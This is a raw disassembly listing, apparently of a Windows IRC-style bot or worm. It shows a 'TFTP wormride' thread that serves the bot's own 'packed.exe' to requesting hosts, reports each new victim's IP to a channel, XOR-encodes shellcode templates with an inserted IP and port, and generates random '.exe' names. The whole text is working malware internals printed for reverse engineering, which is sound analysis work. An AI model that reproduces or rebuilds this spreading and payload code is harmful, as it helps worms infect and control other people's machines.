; ---------------------------------------------------------------------------


loc_411EC2:				; CODE XREF: sub_411DC5+E8j
		push	offset aRb	; "rb"
		push	offset aPacked_exe ; "packed.exe"
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_10C], eax
		cmp	[ebp+var_10C], 0
		jnz	short loc_411F01
		push	[ebp+var_108]
		call	ds:dword_417230	; closesocket
		push	[ebp+var_358]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_4123F1
; ---------------------------------------------------------------------------


loc_411F01:				; CODE XREF: sub_411DC5+11Bj
		mov	eax, [ebp+var_358]
		push	dword ptr [eax]
		push	offset unk_41C788
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	2
		push	0
		push	[ebp+var_10C]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_10C]
		call	sub_416B76	; ftell
		pop	ecx
		mov	[ebp+var_4], eax
		push	0
		push	0
		push	[ebp+var_10C]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	80h
		push	0
		lea	eax, [ebp+var_19C]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch


loc_411F66:				; CODE XREF: sub_411DC5:loc_412084j
					; sub_411DC5:loc_4123C6j
		mov	[ebp+var_B64], 1
		and	[ebp+var_B60], 0
		and	[ebp+var_B5C], 0


loc_411F7E:				; CODE XREF: sub_411DC5+234j
		and	[ebp+var_B68], 0
		jmp	short loc_411F94
; ---------------------------------------------------------------------------


loc_411F87:				; CODE XREF: sub_411DC5:loc_411FB9j
		mov	eax, [ebp+var_B68]
		inc	eax
		mov	[ebp+var_B68], eax


loc_411F94:				; CODE XREF: sub_411DC5+1C0j
		mov	eax, [ebp+var_B68]
		cmp	eax, [ebp+var_B5C]
		jnb	short loc_411FBB
		mov	eax, [ebp+var_B68]
		mov	eax, [ebp+eax*4+var_B58]
		cmp	eax, [ebp+var_108]
		jnz	short loc_411FB9
		jmp	short loc_411FBB
; ---------------------------------------------------------------------------


loc_411FB9:				; CODE XREF: sub_411DC5+1F0j
		jmp	short loc_411F87
; ---------------------------------------------------------------------------


loc_411FBB:				; CODE XREF: sub_411DC5+1DBj
					; sub_411DC5+1F2j
		mov	eax, [ebp+var_B68]
		cmp	eax, [ebp+var_B5C]
		jnz	short loc_411FF5
		cmp	[ebp+var_B5C], 200h
		jnb	short loc_411FF5
		mov	eax, [ebp+var_B68]
		mov	ecx, [ebp+var_108]
		mov	[ebp+eax*4+var_B58], ecx
		mov	eax, [ebp+var_B5C]
		inc	eax
		mov	[ebp+var_B5C], eax


loc_411FF5:				; CODE XREF: sub_411DC5+202j
					; sub_411DC5+20Ej
		xor	eax, eax
		test	eax, eax
		jnz	short loc_411F7E
		lea	eax, [ebp+var_B64]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+var_B5C]
		push	eax
		push	0
		call	ds:dword_41722C	; select
		test	eax, eax
		jle	loc_4123B8
		mov	[ebp+var_D84], 10h
		mov	al, byte_41DE30
		mov	[ebp+var_D70], al
		mov	ecx, 80h
		xor	eax, eax
		lea	edi, [ebp+var_D6F]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_D84]
		push	eax
		lea	eax, [ebp+var_D80]
		push	eax
		push	0
		push	80h
		lea	eax, [ebp+var_19C]
		push	eax
		push	[ebp+var_108]
		call	ds:dword_417258	; recvfrom
		mov	[ebp+var_B6C], eax
		cmp	[ebp+var_B6C], 0
		jz	short loc_412084
		cmp	[ebp+var_B6C], 0FFFFFFFFh
		jnz	short loc_412089


loc_412084:				; CODE XREF: sub_411DC5+2B4j
		jmp	loc_411F66
; ---------------------------------------------------------------------------


loc_412089:				; CODE XREF: sub_411DC5+2BDj
		movsx	eax, [ebp+var_19C]
		test	eax, eax
		jnz	loc_4121C0
		movsx	eax, [ebp+var_19B]
		cmp	eax, 1
		jnz	loc_4121C0
		lea	eax, [ebp+var_19C]
		mov	[ebp+var_D88], eax
		lea	eax, [ebp+var_19C]
		mov	[ebp+var_D8C], eax
		mov	eax, [ebp+var_D88]
		inc	eax
		inc	eax
		mov	[ebp+var_D88], eax
		mov	eax, [ebp+var_D8C]
		inc	eax
		inc	eax
		mov	[ebp+var_D8C], eax
		push	[ebp+var_D8C]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_D8C]
		lea	eax, [ecx+eax+1]
		mov	[ebp+var_D8C], eax
		push	offset aOctet	; "octet"
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		push	[ebp+var_D8C]
		push	offset aOctet	; "octet"
		call	sub_416BF0	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41213F
		push	[ebp+var_D84]
		lea	eax, [ebp+var_D80]
		push	eax
		push	0
		push	13h
		push	offset dword_41C76C
		push	[ebp+var_108]
		call	ds:dword_417250	; sendto
		jmp	short loc_4121BB
; ---------------------------------------------------------------------------


loc_41213F:				; CODE XREF: sub_411DC5+354j
		push	0
		push	0
		push	[ebp+var_10C]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		and	[ebp+var_D70], 0
		mov	[ebp+var_D6F], 3
		and	[ebp+var_D6E], 0
		mov	[ebp+var_D6D], 1
		push	[ebp+var_10C]
		push	200h
		push	1
		lea	eax, [ebp+var_D6C]
		push	eax
		call	sub_416B90	; fread
		add	esp, 10h
		mov	[ebp+var_D90], eax
		push	[ebp+var_D84]
		lea	eax, [ebp+var_D80]
		push	eax
		push	0
		mov	eax, [ebp+var_D90]
		add	eax, 4
		push	eax
		lea	eax, [ebp+var_D70]
		push	eax
		push	[ebp+var_108]
		call	ds:dword_417250	; sendto


loc_4121BB:				; CODE XREF: sub_411DC5+378j
		jmp	loc_4123B8
; ---------------------------------------------------------------------------


loc_4121C0:				; CODE XREF: sub_411DC5+2CDj
					; sub_411DC5+2DDj
		movsx	eax, [ebp+var_19C]
		test	eax, eax
		jnz	loc_412396
		movsx	eax, [ebp+var_19B]
		cmp	eax, 4
		jnz	loc_412396
		mov	al, [ebp+var_19A]
		mov	[ebp+var_DA0], al
		mov	al, [ebp+var_199]
		mov	[ebp+var_D98], al
		and	[ebp+var_D70], 0
		mov	[ebp+var_D6F], 3
		movzx	eax, [ebp+var_D98]
		cmp	eax, 0FFh
		jnz	short loc_412242
		mov	al, [ebp+var_DA0]
		add	al, 1
		mov	[ebp+var_DA0], al
		mov	al, [ebp+var_DA0]
		mov	[ebp+var_D6E], al
		and	[ebp+var_D98], 0
		mov	al, [ebp+var_D98]
		mov	[ebp+var_D6D], al
		jmp	short loc_412268
; ---------------------------------------------------------------------------


loc_412242:				; CODE XREF: sub_411DC5+44Cj
		mov	al, [ebp+var_DA0]
		mov	[ebp+var_D6E], al
		mov	al, [ebp+var_D98]
		add	al, 1
		mov	[ebp+var_D98], al
		mov	al, [ebp+var_D98]
		mov	[ebp+var_D6D], al


loc_412268:				; CODE XREF: sub_411DC5+47Bj
		movzx	eax, [ebp+var_DA0]
		shl	eax, 8
		movzx	ecx, [ebp+var_D98]
		lea	eax, [eax+ecx-1]
		mov	[ebp+var_D9C], eax
		push	0
		mov	eax, [ebp+var_D9C]
		shl	eax, 9
		push	eax
		push	[ebp+var_10C]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_10C]
		push	200h
		push	1
		lea	eax, [ebp+var_D6C]
		push	eax
		call	sub_416B90	; fread
		add	esp, 10h
		mov	[ebp+var_D94], eax
		push	[ebp+var_D84]
		lea	eax, [ebp+var_D80]
		push	eax
		push	0
		mov	eax, [ebp+var_D94]
		add	eax, 4
		push	eax
		lea	eax, [ebp+var_D70]
		push	eax
		push	[ebp+var_108]
		call	ds:dword_417250	; sendto
		cmp	[ebp+var_D94], 0
		jnz	loc_412394
		mov	eax, [ebp+var_D9C]
		shl	eax, 9
		cmp	eax, [ebp+var_4]
		jb	loc_412394
		mov	eax, [ebp+var_D7C]
		mov	[ebp+var_DA8], eax
		push	[ebp+var_DA8]
		push	offset dword_41EB10
		call	sub_409C9D
		pop	ecx
		pop	ecx
		mov	[ebp+var_DA4], eax
		mov	eax, [ebp+var_DA4]
		cmp	eax, [ebp+var_DA8]
		jz	short loc_412394
		push	1
		push	offset dword_41EB14
		call	sub_409C88
		pop	ecx
		pop	ecx
		mov	[ebp+var_DAC], eax
		push	10h
		push	[ebp+var_D7C]
		call	ds:dword_41721C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_11C]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_11C]
		push	eax
		mov	eax, [ebp+var_DAC]
		inc	eax
		push	eax
		push	offset aWormride ; "wormride"
		push	offset unk_41C730
		push	offset aLast	; "#last"
		call	sub_40D4AB
		add	esp, 14h


loc_412394:				; CODE XREF: sub_411DC5+52Dj
					; sub_411DC5+53Fj ...
		jmp	short loc_4123B8
; ---------------------------------------------------------------------------


loc_412396:				; CODE XREF: sub_411DC5+404j
					; sub_411DC5+414j
		push	[ebp+var_D84]
		lea	eax, [ebp+var_D80]
		push	eax
		push	0
		push	9
		push	offset dword_41C724
		push	[ebp+var_108]
		call	ds:dword_417250	; sendto


loc_4123B8:				; CODE XREF: sub_411DC5+252j
					; sub_411DC5:loc_4121BBj ...
		mov	eax, [ebp+var_358]
		cmp	dword ptr [eax+4], 0
		jz	short loc_4123C6
		jmp	short loc_4123CB
; ---------------------------------------------------------------------------


loc_4123C6:				; CODE XREF: sub_411DC5+5FDj
		jmp	loc_411F66
; ---------------------------------------------------------------------------


loc_4123CB:				; CODE XREF: sub_411DC5+5FFj
		push	[ebp+var_10C]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_108]
		call	ds:dword_417230	; closesocket
		push	[ebp+var_358]
		call	sub_409763
		pop	ecx
		xor	eax, eax


loc_4123F1:				; CODE XREF: sub_411DC5+53j
					; sub_411DC5+F8j ...
		pop	edi
		leave
		retn	4
sub_411DC5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4123F6	proc near		; CODE XREF: sub_40A9CF+726p
					; sub_40A9CF+742p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_412410
		jmp	short locret_412446
; ---------------------------------------------------------------------------


loc_412410:				; CODE XREF: sub_4123F6+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aTftpWormrideTh ; "TFTP wormride	thread"
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_4]
		push	offset sub_411DC5
		call	sub_4095A4
		add	esp, 10h

locret_412446:				; CODE XREF: sub_4123F6+18j
		leave
		retn
sub_4123F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412448	proc near		; CODE XREF: sub_4125DF+88p
					; sub_4125DF+ADp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_41245A
; ---------------------------------------------------------------------------


loc_412453:				; CODE XREF: sub_412448:loc_41249Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_41245A:				; CODE XREF: sub_412448+9j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_4]
		jnb	short loc_41249C
		and	[ebp+var_8], 0
		jmp	short loc_41246F
; ---------------------------------------------------------------------------


loc_412468:				; CODE XREF: sub_412448:loc_412498j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_41246F:				; CODE XREF: sub_412448+1Ej
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_C]
		jnb	short loc_41249A
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		movsx	ecx, [ebp+arg_10]
		xor	eax, ecx
		mov	ecx, [ebp+arg_8]
		add	ecx, [ebp+var_8]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jnz	short loc_412498
		push	1
		pop	eax
		jmp	short locret_41249E
; ---------------------------------------------------------------------------


loc_412498:				; CODE XREF: sub_412448+49j
		jmp	short loc_412468
; ---------------------------------------------------------------------------


loc_41249A:				; CODE XREF: sub_412448+2Dj
		jmp	short loc_412453
; ---------------------------------------------------------------------------


loc_41249C:				; CODE XREF: sub_412448+18j
		xor	eax, eax

locret_41249E:				; CODE XREF: sub_412448+4Ej
		leave
		retn
sub_412448	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4124A0	proc near		; CODE XREF: sub_4125DF+36p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		and	[ebp+var_4], 0
		and	[ebp+var_10], 0
		and	[ebp+var_8], 0
		and	[ebp+var_C], 0
		cmp	[ebp+arg_8], 1
		jnz	short loc_41250C
		cmp	[ebp+arg_4], 0B2h
		jnb	short loc_4124CC
		xor	eax, eax
		jmp	locret_4125DD
; ---------------------------------------------------------------------------


loc_4124CC:				; CODE XREF: sub_4124A0+23j
		mov	[ebp+var_C], 0B2h
		push	[ebp+var_C]
		push	offset dword_41C964
		push	[ebp+arg_0]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		add	eax, 8Fh
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, 88h
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_0]
		add	eax, 0ACh
		mov	[ebp+var_8], eax
		jmp	loc_41259C
; ---------------------------------------------------------------------------


loc_41250C:				; CODE XREF: sub_4124A0+1Aj
		cmp	[ebp+arg_8], 2
		jnz	short loc_412554
		cmp	[ebp+arg_4], 0C6h
		jnb	short loc_412522
		xor	eax, eax
		jmp	locret_4125DD
; ---------------------------------------------------------------------------


loc_412522:				; CODE XREF: sub_4124A0+79j
		mov	[ebp+var_C], 0C6h
		push	[ebp+var_C]
		push	offset dword_41C89C
		push	[ebp+arg_0]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		add	eax, 89h
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_0]
		add	eax, 0C0h
		mov	[ebp+var_8], eax
		jmp	short loc_41259C
; ---------------------------------------------------------------------------


loc_412554:				; CODE XREF: sub_4124A0+70j
		cmp	[ebp+arg_4], 0B2h
		jnb	short loc_412561
		xor	eax, eax
		jmp	short locret_4125DD
; ---------------------------------------------------------------------------


loc_412561:				; CODE XREF: sub_4124A0+BBj
		mov	[ebp+var_C], 0B2h
		push	[ebp+var_C]
		push	offset dword_41C7E8
		push	[ebp+arg_0]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		add	eax, 86h
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, 8Dh
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_0]
		add	eax, 0ACh
		mov	[ebp+var_8], eax


loc_41259C:				; CODE XREF: sub_4124A0+67j
					; sub_4124A0+B2j
		cmp	[ebp+var_4], 0
		jz	short loc_4125B0
		push	[ebp+arg_C]
		call	ds:dword_417244	; inet_addr
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax


loc_4125B0:				; CODE XREF: sub_4124A0+100j
		cmp	[ebp+var_10], 0
		jz	short loc_4125CC
		push	[ebp+arg_10]
		call	sub_416B9C	; atoi
		pop	ecx
		push	eax
		call	ds:dword_417238	; ntohs
		mov	ecx, [ebp+var_10]
		mov	[ecx], ax


loc_4125CC:				; CODE XREF: sub_4124A0+114j
		cmp	[ebp+var_8], 0
		jz	short loc_4125DA
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_14]
		mov	[eax], ecx


loc_4125DA:				; CODE XREF: sub_4124A0+130j
		mov	eax, [ebp+var_C]

locret_4125DD:				; CODE XREF: sub_4124A0+27j
					; sub_4124A0+7Dj ...
		leave
		retn
sub_4124A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4125DF	proc near		; CODE XREF: sub_410649+8Bp
					; sub_410B52+41p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		cmp	[ebp+arg_4], 1Ch
		jnb	short loc_4125F2
		xor	eax, eax
		jmp	locret_41271E
; ---------------------------------------------------------------------------


loc_4125F2:				; CODE XREF: sub_4125DF+Aj
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_0]
		add	eax, 1Ch
		mov	[ebp+var_4], eax
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1E4h
		push	[ebp+var_4]
		call	sub_4124A0
		add	esp, 18h
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_41262D
		xor	eax, eax
		jmp	locret_41271E
; ---------------------------------------------------------------------------


loc_41262D:				; CODE XREF: sub_4125DF+45j
		push	1Ch
		push	offset dword_41C7C8
		push	[ebp+var_10]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, dword_41CB98
		mov	[ebp+var_8], eax
		jmp	short loc_412659
; ---------------------------------------------------------------------------


loc_412649:				; CODE XREF: sub_4125DF+94j
					; sub_4125DF:loc_41269Aj
		call	sub_410422
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		mov	dword_41CB98, eax


loc_412659:				; CODE XREF: sub_4125DF+68j
		push	0
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	4
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_412448
		add	esp, 14h
		test	eax, eax
		jz	short loc_412675
		jmp	short loc_412649
; ---------------------------------------------------------------------------


loc_412675:				; CODE XREF: sub_4125DF+92j
		mov	eax, [ebp+var_14]
		xor	eax, [ebp+var_8]
		mov	[ebp+var_1C], eax
		push	0
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	4
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_412448
		add	esp, 14h
		test	eax, eax
		jnz	short loc_41269A
		jmp	short loc_41269C
; ---------------------------------------------------------------------------


loc_41269A:				; CODE XREF: sub_4125DF+B7j
		jmp	short loc_412649
; ---------------------------------------------------------------------------


loc_41269C:				; CODE XREF: sub_4125DF+B9j
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		mov	[eax+3], ecx
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_1C]
		mov	[eax+9], ecx
		mov	al, byte_41CB95
		mov	byte ptr [ebp+var_C], al
		jmp	short loc_4126C8
; ---------------------------------------------------------------------------


loc_4126B8:				; CODE XREF: sub_4125DF+104j
		call	sub_410461
		mov	byte ptr [ebp+var_C], al
		mov	al, byte ptr [ebp+var_C]
		mov	byte_41CB95, al


loc_4126C8:				; CODE XREF: sub_4125DF+D7j
		push	[ebp+var_C]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_14]
		push	[ebp+var_4]
		call	sub_412448
		add	esp, 14h
		test	eax, eax
		jz	short loc_4126E5
		jmp	short loc_4126B8
; ---------------------------------------------------------------------------


loc_4126E5:				; CODE XREF: sub_4125DF+102j
		mov	eax, [ebp+var_10]
		mov	cl, byte ptr [ebp+var_C]
		mov	[eax+12h], cl
		and	[ebp+var_18], 0
		jmp	short loc_4126FB
; ---------------------------------------------------------------------------


loc_4126F4:				; CODE XREF: sub_4125DF+137j
		mov	eax, [ebp+var_18]
		inc	eax
		mov	[ebp+var_18], eax


loc_4126FB:				; CODE XREF: sub_4125DF+113j
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_14]
		jnb	short loc_412718
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_18]
		mov	al, [eax]
		xor	al, byte ptr [ebp+var_C]
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_18]
		mov	[ecx], al
		jmp	short loc_4126F4
; ---------------------------------------------------------------------------


loc_412718:				; CODE XREF: sub_4125DF+122j
		mov	eax, [ebp+var_14]
		add	eax, 1Ch

locret_41271E:				; CODE XREF: sub_4125DF+Ej
					; sub_4125DF+49j
		leave
		retn
sub_4125DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412720	proc near		; CODE XREF: sub_412A3A+Cp
					; sub_412BC9+DFp ...

var_194		= dword	ptr -194h
var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_E4		= byte ptr -0E4h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 194h
		push	8
		push	4
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_194], eax
		and	[ebp+var_190], 0


loc_412741:				; CODE XREF: sub_412720:loc_41278Aj
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_190]
		mov	[ebp+ecx+var_10], al
		mov	eax, [ebp+var_190]
		inc	eax
		mov	[ebp+var_190], eax
		mov	eax, [ebp+var_190]
		cmp	eax, [ebp+var_194]
		jnz	short loc_41278A
		push	offset a_exe	; ".exe"
		mov	eax, [ebp+var_190]
		lea	eax, [ebp+eax+var_10]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_41278C
; ---------------------------------------------------------------------------


loc_41278A:				; CODE XREF: sub_412720+4Fj
		jmp	short loc_412741
; ---------------------------------------------------------------------------


loc_41278C:				; CODE XREF: sub_412720+68j
		push	17Ch
		push	offset dword_41CA18
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_E4]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		push	17Ch
		lea	eax, [ebp+var_18C]
		push	eax
		push	[ebp+arg_0]
		call	sub_4053BF
		add	esp, 0Ch
		leave
		retn
sub_412720	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4127D0	proc near		; CODE XREF: sub_412A3A+14Dp
					; sub_412BC9+133p ...

var_24C		= byte ptr -24Ch
var_22C		= byte ptr -22Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		cmp	dword_41EB1C, 0
		jnz	loc_4128A0
		mov	dword_41EB1C, 1
		and	[ebp+var_20C], 0
		jmp	short loc_412806
; ---------------------------------------------------------------------------


loc_4127F9:				; CODE XREF: sub_4127D0:loc_41289Bj
		mov	eax, [ebp+var_20C]
		inc	eax
		mov	[ebp+var_20C], eax


loc_412806:				; CODE XREF: sub_4127D0+27j
		mov	eax, [ebp+var_20C]
		imul	eax, 0Ch
		cmp	off_41DA68[eax], 0
		jz	loc_4128A0
		push	20h
		mov	eax, [ebp+var_20C]
		imul	eax, 0Ch
		push	off_41DA68[eax]
		lea	eax, [ebp+var_22C]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	20h
		mov	eax, [ebp+var_20C]
		imul	eax, 0Ch
		push	off_41CBA0[eax]
		lea	eax, [ebp+var_24C]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_22C]
		push	eax
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_24C]
		push	eax
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_24C]
		push	eax
		lea	eax, [ebp+var_22C]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41289B
		mov	dword_41EB20, 1
		jmp	short loc_4128A0
; ---------------------------------------------------------------------------


loc_41289B:				; CODE XREF: sub_4127D0+BDj
		jmp	loc_4127F9
; ---------------------------------------------------------------------------


loc_4128A0:				; CODE XREF: sub_4127D0+10j
					; sub_4127D0+46j ...
		cmp	dword_41EB20, 0
		jz	short loc_4128AE
		push	1
		pop	eax
		jmp	short locret_412917
; ---------------------------------------------------------------------------


loc_4128AE:				; CODE XREF: sub_4127D0+D7j
		push	offset aRb	; "rb"
		push	offset aPacked_exe_0 ; "packed.exe"
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_4128CC
		xor	eax, eax
		jmp	short locret_412917
; ---------------------------------------------------------------------------


loc_4128CC:				; CODE XREF: sub_4127D0+F6j
		and	[ebp+var_4], 0


loc_4128D0:				; CODE XREF: sub_4127D0+145j
		push	[ebp+var_8]
		push	200h
		push	1
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_416B90	; fread
		add	esp, 10h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_412900
		push	[ebp+var_8]
		call	sub_416B82	; fclose
		pop	ecx
		push	1
		pop	eax
		jmp	short locret_412917
; ---------------------------------------------------------------------------


loc_412900:				; CODE XREF: sub_4127D0+120j
		push	[ebp+var_4]
		lea	eax, [ebp+var_208]
		push	eax
		push	[ebp+arg_0]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	short loc_4128D0
; ---------------------------------------------------------------------------

locret_412917:				; CODE XREF: sub_4127D0+DCj
					; sub_4127D0+FAj ...
		leave
		retn
sub_4127D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412919	proc near		; CODE XREF: sub_412BC9+E8p
					; sub_412D56+18p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	0EA60h
		push	[ebp+arg_0]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_412938
		xor	eax, eax
		jmp	short locret_41294C
; ---------------------------------------------------------------------------


loc_412938:				; CODE XREF: sub_412919+19j
		push	0
		push	4
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_417248	; recv
		mov	eax, [ebp+var_4]

locret_41294C:				; CODE XREF: sub_412919+1Dj
		leave
		retn
sub_412919	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41294E	proc near		; CODE XREF: sub_412BC9+115p
					; sub_412D56+3Bp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0
		jmp	short loc_412964
; ---------------------------------------------------------------------------


loc_41295D:				; CODE XREF: sub_41294E:loc_4129C3j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_412964:				; CODE XREF: sub_41294E+Dj
		mov	eax, [ebp+var_8]
		imul	eax, 3Ah
		cmp	off_41CCFE[eax], 0
		jz	short loc_4129C5
		mov	eax, [ebp+var_8]
		imul	eax, 3Ah
		mov	eax, dword_41CCF6[eax]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_4129C3
		mov	eax, [ebp+var_8]
		imul	eax, 3Ah
		add	eax, offset aJeP ; "†…ØÝ¯"
		mov	[ebp+var_4], eax
		push	3Ah
		mov	eax, [ebp+var_8]
		imul	eax, 3Ah
		add	eax, offset aJeP ; "†…ØÝ¯"
		push	eax
		push	[ebp+arg_4]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 13h
		push	eax
		call	sub_4105FB
		pop	ecx
		jmp	short loc_4129C5
; ---------------------------------------------------------------------------


loc_4129C3:				; CODE XREF: sub_41294E+34j
		jmp	short loc_41295D
; ---------------------------------------------------------------------------


loc_4129C5:				; CODE XREF: sub_41294E+23j
					; sub_41294E+73j
		mov	eax, [ebp+var_4]
		leave
		retn
sub_41294E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4129CA	proc near		; CODE XREF: sub_412A3A+16Bp
					; sub_412BC9+15Ap ...

var_104		= dword	ptr -104h
var_100		= byte ptr -100h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	1
		mov	eax, [ebp+arg_0]
		add	eax, 2Ah
		push	eax
		call	sub_409C88
		pop	ecx
		pop	ecx
